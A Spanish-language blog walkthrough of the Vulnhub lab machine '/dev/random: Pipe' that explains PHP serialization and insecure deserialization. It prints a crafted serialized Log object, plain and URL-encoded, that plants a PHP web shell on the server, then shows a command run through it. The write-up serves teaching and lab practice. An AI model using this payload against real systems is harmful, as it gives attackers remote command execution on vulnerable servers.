26 diciembre 2019

Fallo en Deserialización y Serialización


En esta ocasión quiero hablar de Deserialización y Serialización, pero para esta ocasión, vamos a usar una máquina virtual de Vulnhub.

La máquina se llama "/dev/random: Pipe", en internet hay varios tutoriales de como solucionarlo, en mi caso quise darle otra perspectiva, explicar el fallo y en español.

Trataré de explicar lo más fácil posible y coloquial. Buen empecemos :)

Serialización: Es el proceso de convertir algún objeto en un formato de datos, que después se puede restaurar

Deserialización: Este hace lo contrario de la Serialización, toma los datos estructurados del formato usado, y lo reconstruye en un objeto.

Descargamos la máquina virtual de Vulnhub, lo montamos en cualquier virtualizador. Corremos la máquina y probamos cuales métodos nos permite usando Burp Suite

La IP tomada por la máquina es 192.168.0.31, entonces la url quedaría así
http://192.168.0.31/index.php
 

Igual podemos usar el Plugins de Burp Meth0dMan, ahora accedemos a la página web y vemos su código fuente



Al mirar el código fuente, vemos varias cosas, lo primero es una carpeta llamada scriptz, con un archivo llamo php.js, a su vez también un código en JavaScript con un objecto llamado Serialize, ahora vamos a la carpeta



Y descargamos los archivo que existen, ahora vemos los código fuentes de estos



Ahora el JavaScript




Y organizamos el código fuente que sale en la página



Si analizamos brevemente los diferentes códigos:

Para php vemos file_put_contents($this->filename, $this->data, FILE_APPEND);, Aquí se puede escribir directo en el sistema.

En el JavaScript, vemos la lógica usada para la estructura y

El JavaScript del código que esta en la página web, este crea y asigna los datos que se enviarán en la serialización.

Ahora el ataque:

Creamos un código personalizado, con algunas modificaciones del código serializado que se envía por el sitio web

Usamos la clase Log de php, y le pasamos en bruto el contenido a Filename y Data, con la ruta donde se guardara el archivo y el contenido que este tendra

O:3:"Log":2:{s:8:"filename";s:31:"/var/www/html/scriptz/shell.php";s:4:"data";s:34:"<?php echo system($_GET['cmd']);?>";}

Encodeado se vería así :

%4f%3a%33%3a%22%4c%6f%67%22%3a%32%3a%7b%73%3a%38%3a%22%66%69%6c%65%6e%61%6d%65%22%3b%73%3a%33%31%3a%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%63%72%69%70%74%7a%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%73%3a%34%3a%22%64%61%74%61%22%3b%73%3a%33%34%3a%22%3c%3f%70%68%70%20%65%63%68%6f%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%3b%7d
 
Después de remplazar la serialización del sitio por la que hicimos, comprobamos si se creo el archivo

 

Ahora ejecutamos algún comando
http://192.168.0.31/scriptz/shell.php?cmd=dir



Como sabemos que podemos ejecutar comandos, creamos una shell con la máquina



Nuestra shell :)



Eso es todo, espero le ayude a entender mejor la Deserialización y Serialización


Referencias:

https://www.vulnhub.com/entry/devrandom-pipe,124/
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
https://www.php.net/manual/es/function.file-put-contents.php

No hay comentarios.:

Publicar un comentario

Las Publicaciones más Vistas

Comandos Drozer Pentest Móvil